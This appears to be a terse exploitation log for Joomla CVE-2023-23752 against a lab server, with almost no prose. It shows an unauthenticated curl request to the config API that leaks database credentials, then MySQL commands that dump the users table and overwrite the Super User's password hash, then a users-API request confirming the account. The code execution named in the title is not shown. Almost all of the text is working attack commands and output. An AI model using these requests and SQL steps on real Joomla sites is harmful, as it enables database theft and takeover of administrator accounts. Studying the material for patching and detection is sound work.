Joomla! CVE-2023-23752到代码执行

curl -v http://10.9.49.205/api/index.php/v1/config/application?public=true*   Trying 10.9.49.205:80...* TCP_NODELAY set* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)> GET /api/index.php/v1/config/application?public=true HTTP/1.1> Host: 10.9.49.205> User-Agent: curl/7.68.0> Accept: */*>* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Date: Mon, 20 Mar 2023 15:14:05 GMT< Server: Apache/2.4.41 (Ubuntu)< x-frame-options: SAMEORIGIN< referrer-policy: strict-origin-when-cross-origin< cross-origin-opener-policy: same-origin< X-Powered-By: JoomlaAPI/1.0< Expires: Wed, 17 Aug 2005 00:00:00 GMT< Last-Modified: Mon, 20 Mar 2023 15:14:05 GMT< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0< Pragma: no-cache< Content-Length: 1983< Content-Type: application/vnd.api+json; charset=utf-8<{"links":{"self":"http://10.9.49.205/api/index.php/v1/config/application?public=true","next":"http://10.9.49.205/api/index.php/v1/config/application?public=true&page%5Boffset%5D=20&page%5Blimit%5D=20","last":"http://10.9.49.205/api/index.php/v1/config/application?public=true&page%5Boffset%5D=60&page%5Blimit%5D=20"},"data":[{"type":"application","id":"224","attributes":{"offline":false,"id":224}},{"type":"application","id":"224","attributes":{"offline_message":"This site is down for maintenance.<br>Please check back again soon.","id":224}},{"type":"application","id":"224","attributes":{"display_offline_message":1,"id":224}},{"type":"application","id":"224","attributes":{"offline_image":"","id":224}},{"type":"application","id":"224","attributes":{"sitename":"vulncheck","id":224}},{"type":"application","id":"224","attributes":{"editor":"tinymce","id":224}},{"type":"application","id":"224","attributes":{"captcha":"0","id":224}},{"type":"application","id":"224","attributes":{"list_limit":20,"i* Connection #0 to host 10.9.49.205 left intactd":224}},{"type":"application","id":"224","attributes":{"access":1,"id":224}},{"type":"application","id":"224","attributes":{"debug":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang":false,"id":224}},{"type":"application","id":"224","attributes":{"debug_lang_const":true,"id":224}},{"type":"application","id":"224","attributes":{"dbtype":"mysqli","id":224}},{"type":"application","id":"224","attributes":{"host":"localhost","id":224}},{"type":"application","id":"224","attributes":{"user":"root","id":224}},{"type":"application","id":"224","attributes":{"password":"labpass1","id":224}},{"type":"application","id":"224","attributes":{"db":"joomla_db","id":224}},{"type":"application","id":"224","attributes":{"dbprefix":"xj3n0_","id":224}},{"type":"application","id":"224","attributes":{"dbencryption":0,"id":224}},{"type":"application","id":"224","attributes":{"dbsslverifyservercert":false,"id":224}}],"meta":{"total-pages":4}}

mysql> use joomla_db;Reading table information for completion of table and column namesYou can turn off this feature to get a quicker startup with -A
Database changedmysql> show tables;+-------------------------------+| Tables_in_joomla_db           |+-------------------------------+| xj3n0_action_log_config       || xj3n0_action_logs     … truncated …mysql> select * from xj3n0_users;+-----+------+---------------+-----------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+| id  | name | username     | email                 | password                                                  | block | sendEmail | registerDate      | lastvisitDate     | activation | params | lastResetTime | resetCount | otpKey | otep | requireReset | authProvider |+-----+------+---------------+-----------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+| 552 | jake | albinolobster | [email protected] | $2y$10$GL9tEHKez5Wa6sr2CjXXmetAr6cOOo7DpE9j1KaeJCIy1UwnaYUVO |     0 |         1 | 2023-03-17 15:07:45 | 2023-03-17 16:41:04 | 0       |       | NULL          |       0 |     |   |           0 |             |+-----+------+---------------+-----------------------+--------------------------------------------------------------+-------+-----------+---------------------+---------------------+------------+--------+---------------+------------+--------+------+--------------+--------------+1 row in set (0.00 sec)
mysql> Update xj3n0_users SET password = "d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199" WHERE id=552;Query OK, 1 row affected (0.00 sec)Rows matched: 1  Changed: 1  Warnings: 0
mysql>

curl -v http://10.9.49.205/api/index.php/v1/users?public=true*   Trying 10.9.49.205:80...* TCP_NODELAY set* Connected to 10.9.49.205 (10.9.49.205) port 80 (#0)> GET /api/index.php/v1/users?public=true HTTP/1.1> Host: 10.9.49.205> User-Agent: curl/7.68.0> Accept: */*>* Mark bundle as not supporting multiuse< HTTP/1.1 200 OK< Date: Mon, 20 Mar 2023 16:11:38 GMT< Server: Apache/2.4.41 (Ubuntu)< x-frame-options: SAMEORIGIN< referrer-policy: strict-origin-when-cross-origin< cross-origin-opener-policy: same-origin< X-Powered-By: JoomlaAPI/1.0< Expires: Wed, 17 Aug 2005 00:00:00 GMT< Last-Modified: Mon, 20 Mar 2023 16:11:38 GMT< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0< Pragma: no-cache< Content-Length: 418< Content-Type: application/vnd.api+json; charset=utf-8<* Connection #0 to host 10.9.49.205 left intact{"links":{"self":"http://10.9.49.205/api/index.php/v1/users?public=true"},"data":[{"type":"users","id":"552","attributes":{"id":552,"name":"jake","username":"albinolobster","email":"[email protected]","block":0,"sendEmail":1,"registerDate":"2023-03-17 15:07:45","lastvisitDate":"2023-03-20 15:35:58","lastResetTime":null,"resetCount":0,"group_count":1,"group_names":"Super Users"}}],"meta":{"total-pages":1}